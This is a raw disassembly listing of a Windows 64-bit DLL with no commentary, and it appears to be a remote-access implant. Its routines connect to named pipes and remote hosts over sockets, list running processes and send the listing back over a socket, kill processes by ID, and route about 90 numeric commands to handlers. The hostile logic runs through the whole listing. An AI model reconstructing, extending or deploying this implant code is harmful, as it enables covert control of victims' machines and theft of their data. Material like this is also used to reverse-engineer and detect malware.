call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x180015021
mov edx, 0x2710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
test eax, eax
je 0x180015012
mov rcx, rdi
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014f87
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x180015035
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d50c
jmp 0x180015098
mov ecx, 4
call fcn.18000d5d8
jmp 0x1800150aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d50c
jmp 0x1800150aa
lea rcx, [rbp + 0x17]
mov rdx, rbx
call fcn.180014ecc
mov r8, rsi
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x11], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 9], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp + 7], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 1], rcx
lea rcx, [rbp - 0x29]
mov edx, 0x1bd
mov qword [rbp + 0xf], rax
call fcn.180014bc4
test eax, eax
jne 0x1800150aa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rsi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 9]
call fcn.18001590c
lea rcx, [rbp - 9]
call fcn.180015978
lea rcx, [rbp - 9]
movzx edi, ax
call fcn.1800158a8
mov rbx, rax
call fcn.18000e0e8
mov edx, edi
mov rcx, rbx
call fcn.180010874
cmp rax, 0xffffffffffffffff
jne 0x18001527a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000d50c
jmp 0x1800152da
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.1800153b0
bts edi, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, edi
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, rsi
mov qword [rbp - 0x11], rax
call fcn.180014bc4
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180041400]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x180015bcf
cmp dword [rbx + 4], 0
je 0x180015bcb
cmp eax, dword [rbx]
jne 0x180015bcb
cmp dword [rbx + 0x10], 2
je 0x180015bcb
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180015bb7
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 4
mov rsi, r8
mov ebx, edx
mov dword [rsp + 0x24], 1
mov dword [rsp + 0x20], ecx
add rdi, r12
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi]
lea r13d, [r12 - 2]
sub ebx, 6
mov r14d, eax
add rdi, r13
call qword [sym.imp.WS2_32.dll_ntohs]
movzx r15d, ax
mov eax, 0x3ff
lea rcx, [rsp + 0x40]
cmp ebx, eax
mov rdx, rdi
cmovge ebx, eax
movsxd rbx, ebx
mov r8, rbx
call fcn.18001b0b0
cmp rbx, 0x400
jae 0x180015d73
mov byte [rsp + rbx + 0x40], 0
call fcn.18000e0e8
lea edx, [r12 - 3]
xor r8d, r8d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x180015cdd
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov edx, r12d
call rsi
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180015cf2
mov rcx, rbx
jmp 0x180015ca0
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rdx]
call fcn.18001b0b0
movzx ecx, r15w
mov word [rsp + 0x28], r13w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x180015ca0
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180015d5d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180015ced
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.180015b80
jmp 0x180015cb3
call fcn.18001b7e0
int3
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.18001591c
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.180015978
mov edx, 1
movzx ebx, ax
mov ecx, ebx
call fcn.180015fc0
cmp rax, 0xffffffffffffffff
jne 0x180015dcd
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x180015def
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180015ae0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180041400]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x180015e4e
cmp dword [rbx + 4], 1
jne 0x180015e4a
cmp ebp, dword [rbx]
jne 0x180015e4a
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.180016628
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180015e30
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.18001590c
lea rcx, [rsp + 0x30]
call fcn.180015978
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.180015fc0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180015ec7
call fcn.1800160a0
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.180015ae0
jmp 0x180015ed3
mov edx, ebx
mov ecx, socket
call fcn.18000d50c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180041400]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.180015978
xor edx, edx
movzx ecx, ax
jmp 0x180015f36
cmp dword [rbx + 4], edx
je 0x180015f32
cmp dword [rbx + 0x10], 2
jne 0x180015f21
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x180015f2f
cmp dword [rbx + 0x10], 3
jne 0x180015f32
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x180015f32
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180015f0e
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.18001590c
lea rcx, [rsp + 0x30]
call fcn.180015978
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.180015fc0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180015fa6
call fcn.1800160a0
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180015ae0
jmp 0x180015fb2
mov edx, ebx
mov ecx, socket
call fcn.18000d50c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x180041418], 0
je 0x180016785
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.180015978
mov rdx, qword [0x180041418]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180016773
movzx ecx, ax
call fcn.18001a500
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x180041418]
movsxd rbx, edx
test rcx, rcx
je 0x1800167ad
call fcn.18001a764
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.18001a7a4
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x180041418], rax
call fcn.18001b0b0
mov rax, qword [0x180041418]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.18001591c
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x180041420], ecx
add rsp, 0x48
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.18001591c
mov dword [0x180041424], eax
test eax, eax
je 0x180016bd5
mov ecx, eax
call fcn.180016c04
test eax, eax
jne 0x180016bd5
mov edx, dword [0x180041424]
lea ecx, [rax + 0xf]
call fcn.18000d50c
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x31
ja 0x180017bba
je 0x180017ba5
cmp ecx, 0x1b
ja 0x180017a11
je 0x1800179fc
cmp ecx, 0xe
ja 0x18001791f
je 0x18001790a
dec ecx
je 0x1800178f3
sub ecx, 2
je 0x1800178e3
dec ecx
je 0x1800178d5
dec ecx
je 0x1800178c7
sub ecx, 4
je 0x1800178b3
dec ecx
je 0x18001789e
dec ecx
je 0x180017889
dec ecx
je 0x18001787b
dec ecx
jne 0x180017ee0
lea r8d, [rcx + 1]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001982c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f8e8
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011a64
lea r8, [0x18002dcb8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010434
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180012988
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f714
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ffbc
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp fcn.18000f774
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180012860
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015bdc
sub ecx, 0xf
je 0x1800179ee
dec ecx
je 0x1800179e0
dec ecx
je 0x1800179cb
dec ecx
je 0x1800179b0
dec ecx
je 0x1800179a2
sub ecx, 3
je 0x18001798d
dec ecx
je 0x180017978
dec ecx
je 0x180017963
dec ecx
jne 0x180017ee0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010bc0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014990
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014b34
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800149f0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011c50
mov r8d, 1
lea r9, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012ae8
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015d7c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015ba0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015e04
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019cdc
cmp ecx, 0x27
ja 0x180017aec
je 0x180017adc
sub ecx, 0x1c
je 0x180017ad3
dec ecx
je 0x180017ac5
sub ecx, 2
je 0x180017ab0
dec ecx
je 0x180017a9b
dec ecx
je 0x180017a8d
dec ecx
je 0x180017a7f
dec ecx
je 0x180017a76
sub ecx, 2
je 0x180017a68
dec ecx
jne 0x180017ee0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fd24
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001678c
add rsp, 0x28
jmp 0x180014838
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800148a8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017f78
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017ffc
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019ef4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010260
add rsp, 0x28
jmp fcn.180019ea8
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x18000fcb0
sub ecx, 0x28
je 0x180017b94
dec ecx
je 0x180017b84
dec ecx
je 0x180017b76
dec ecx
je 0x180017b6e
dec ecx
je 0x180017b60
dec ecx
je 0x180017b45
dec ecx
je 0x180017b40
dec ecx
je 0x180017b32
dec ecx
jne 0x180017ee0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013dd4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f9dc
xor r9d, r9d
jmp 0x180017b4b
mov r9d, 1
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012a74
mov r9d, 1
xor r8d, r8d
jmp 0x1800178fc
xor r8d, r8d
jmp 0x1800178b9
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014080
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x180014220
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800140d0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019dc4
cmp ecx, 0x49
ja 0x180017d70
je 0x180017d62
cmp ecx, 0x3b
ja 0x180017cae
je 0x180017ca0
sub ecx, 0x32
je 0x180017c92
dec ecx
je 0x180017c84
dec ecx
je 0x180017c76
dec ecx
je 0x180017c61
dec ecx
je 0x180017c53
dec ecx
je 0x180017c3e
dec ecx
je 0x180017c30
dec ecx
je 0x180017c22
dec ecx
jne 0x180017ee0
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fa08
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800100ec
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011efc
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011f5c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001226c
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011ff0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010000
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015ee0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015e68
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001a428
sub ecx, 0x3c
je 0x180017d54
dec ecx
je 0x180017d44
dec ecx
je 0x180017d39
sub ecx, 5
je 0x180017d2d
dec ecx
je 0x180017d18
dec ecx
je 0x180017d10
dec ecx
je 0x180017cf9
dec ecx
je 0x180017cee
dec ecx
jne 0x180017ee0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ffb4
mov r9d, 1
xor r8d, r8d
jmp 0x180017d02
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012b64
xor r8d, r8d
jmp 0x18001786d
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014e4c
lea r8, [0x18002dcbc]
jmp 0x1800178a5
mov r8d, 1
jmp 0x180017b97
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x180010938
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010a0c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011e30
cmp ecx, 0x53
ja 0x180017e4a
je 0x180017e3c
sub ecx, 0x4a
je 0x180017e2e
dec ecx
je 0x180017e20
dec ecx
je 0x180017e12
dec ecx
je 0x180017dfd
dec ecx
je 0x180017def
dec ecx
je 0x180017de1
dec ecx
je 0x180017dd3
dec ecx
je 0x180017dbe
dec ecx
jne 0x180017ee0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015f44
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018dd0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800126d4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016740
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f78c
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010adc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fe38
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016b94
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800122ac
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
sub ecx, 0x54
je 0x180017ed6
dec ecx
je 0x180017ec6
dec ecx
je 0x180017eb1
dec ecx
je 0x180017ea5
dec ecx
je 0x180017e9d
dec ecx
je 0x180017e91
dec ecx
je 0x180017e89
dec ecx
je 0x180017e81
dec ecx
jne 0x180017ee0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016aac
xor r8d, r8d
jmp 0x1800179b6
xor r9d, r9d
jmp 0x180017b66
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x1800178fc
xor r9d, r9d
jmp 0x180017cf4
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180017d02
lea r8, [fcn.18000cecc]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001520c
lea rcx, [fcn.18000cecc]
add rsp, 0x28
jmp 0x18000c87c
mov edx, eax
mov rcx, r10
call fcn.18000c900
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.18001591c
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180017fd3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180017fe8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000d518
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
mov rbx, rcx
mov r15, r8
mov edi, edx
lea rcx, [rbp + 0xb1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xb0], 0
call fcn.18001aa50
lea rcx, [rsp + 0x60]
mov r8d, edi
mov rdx, rbx
call fcn.18001590c
lea rcx, [rsp + 0x60]
call fcn.18001591c
lea rcx, [rsp + 0x48]
mov edx, 0x8000
mov r14d, eax
call fcn.18000d0c4
test r14d, r14d
jle 0x180018089
lea rcx, [rsp + 0x48]
mov edx, r14d
call fcn.18000d0f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180010ee0
test eax, eax
je 0x1800180a4
lea rdi, [0x18002dcc0]
jmp 0x1800180bd
call fcn.180010f28
lea rcx, [0x18002dcc0]
lea rdi, [0x18002dcc4]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180018221
lea rdx, [rbp - 0x80]
mov rcx, rax
mov dword [rbp - 0x80], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1800180f9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180018221
mov r8d, dword [rbp - 0x78]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x180018137
mov ecx, dword [rbp - 0x78]
mov r9d, dword [rbp - 0x60]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x20], ecx
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x48]
call fcn.18000d128
jmp 0x1800181c2
lea rdx, [rbp + 0xb0]
mov r8d, 0x800
mov rcx, rax
call fcn.18001828c
lea rdx, [rsp + 0x40]
neg eax
sbb cl, cl
and byte [rbp + 0xb0], cl
mov ecx, dword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rsp + 0x40]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rsp + 0x40], ecx
mov rcx, rsi
call fcn.180010ee0
mov r9d, dword [rbp - 0x60]
lea rcx, [0x18002dcc4]
test eax, eax
mov eax, dword [rsp + 0x40]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xb0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rbp - 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x20], eax
call fcn.18000d128
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800180f9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call fcn.18000d124
lea rcx, [rsp + 0x48]
mov ebx, eax
call fcn.18000d188
mov edx, ebx
mov r8d, send
mov rcx, rax
test r14d, r14d
je 0x180018214
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x48]
call fcn.18000d0a0
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0xa08]
add rsp, 0x9c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ebx, edx
mov esi, 0x20000
lea rcx, [rax - 0x48]
mov edx, esi
mov r12, r8
call fcn.18000d0c4
mov ecx, 0x20800
call fcn.180015838
mov edx, 0x400
mov rcx, rax
mov r15, rax
call fcn.180015950
mov edx, 0x400
mov rcx, r15
mov r14, rax
call fcn.180015950
mov edx, esi
mov rcx, r15
mov rbp, rax
call fcn.180015950
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.18001590c
lea rcx, [rsp + 0x58]
call fcn.180015978
lea rcx, [rsp + 0x58]
movzx ebx, ax
call fcn.180015978
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, r14
movzx edi, ax
call fcn.1800159b0
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, rbp
call fcn.1800159b0
movzx ecx, di
call fcn.180018fc8
mov r9d, ebx
mov r8, rbp
mov rcx, rax
lea rax, [rsp + 0x40]
mov rdx, r14
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20000
mov qword [rsp + 0x20], rsi
call fcn.180018f20
lea rcx, [rsp + 0x40]
call fcn.18000d124
test eax, eax
je 0x180018eee
lea rcx, [rsp + 0x40]
call fcn.18000d124
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d188
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call r12
mov rcx, r15
call fcn.1800158e8
lea rcx, [rsp + 0x40]
call fcn.18000d0a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x18004a780]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x18001986b
mov rbx, qword [0x18004a788]
test rbx, rbx
jne 0x1800198a6
mov ecx, 0x200
call fcn.180015838
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.180015950
mov edx, r15d
mov rcx, rbx
mov qword [0x18004a780], rax
call fcn.180015950
mov rdi, qword [0x18004a780]
mov rbx, rax
mov qword [0x18004a788], rax
test esi, esi
je 0x1800198de
cmp esi, r15d
jg 0x1800198de
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x1800198d1
mov rcx, rdi
call fcn.18001aa50
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001b0b0
jmp 0x1800198f8
mov rcx, rbx
call fcn.18001aa50
mov rcx, rbx
jmp 0x1800198c4
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.18001aa50
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.18001aa50
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x640
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
